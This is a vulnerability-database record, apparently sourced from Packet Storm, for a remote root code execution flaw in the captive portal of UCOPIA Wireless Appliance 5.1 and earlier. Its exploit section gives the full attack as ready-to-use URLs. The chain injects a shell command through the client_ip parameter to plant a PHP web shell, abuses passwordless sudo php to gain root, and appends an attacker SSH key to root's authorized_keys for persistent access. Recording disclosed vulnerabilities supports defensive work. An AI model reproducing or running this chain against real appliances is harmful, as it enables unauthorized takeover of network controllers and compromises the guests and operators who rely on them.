ID
VAR-E-201710-0359
TITLE
UCOPIA Wireless Appliance 5.1 Code Execution
Trust: 0.5
DESCRIPTION
UCOPIA Wireless Appliance versions 5.1 and below suffer from a captive portal remote root code execution vulnerability.
Trust: 0.5
AFFECTED PRODUCTS
| vendor: | ucopia | model: | wireless appliance | scope: | eq | version: | 5.1 | Trust: 0.5 |
EXPLOIT
# Exploit Title: Unauthenticated remote root code execution on captive portal Ucopia <= 5.1
# Date: 02/10/17
# Exploit Author: agix
# Vendor Homepage: http://www.ucopia.com/
# Version: <= 5.1
# Don't know in which version they exactly fixed it.
# When you connect to Ucopia wifi guest, every requests are redirected to controller.access.network
# First create easier to use php backdoor
https://controller.access.network/autoconnect_redirector.php?client_ip=127.0.0.1;echo%20'<?php system($_GET[0]);%20?>'>/var/www/html/upload/bd.php;echo%20t
# As php is in sudoers without password...
https://controller.access.network/upload/bd.php?0=sudo%20/usr/bin/php%20-r%20%27system("id");%27
# Just push your ssh key and get nice root access (ssh is open by default even from wifi guest)
https://controller.access.network/upload/bd.php?0=sudo%20/usr/bin/php%20-r%20%27system("echo%20ssh-rsa%20AAAA[...]%20>>%20/root/.ssh/authorized_keys");%27
Trust: 0.5
EXPLOIT HASH
LOCAL | SOURCE | ||||||||
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Trust: 0.5
PRICE
free
Trust: 0.5
TYPE
root, code execution
Trust: 0.5
TAGS
| tag: | exploit | Trust: 0.5 |
| tag: | remote | Trust: 0.5 |
| tag: | root | Trust: 0.5 |
| tag: | code execution | Trust: 0.5 |
CREDITS
agix
Trust: 0.5
EXTERNAL IDS
| db: | PACKETSTORM | id: | 144506 | Trust: 0.5 |
SOURCES
| db: | PACKETSTORM | id: | 144506 |
LAST UPDATE DATE
2022-07-27T09:51:38.934000+00:00
SOURCES RELEASE DATE
| db: | PACKETSTORM | id: | 144506 | date: | 2017-10-05T03:06:20 |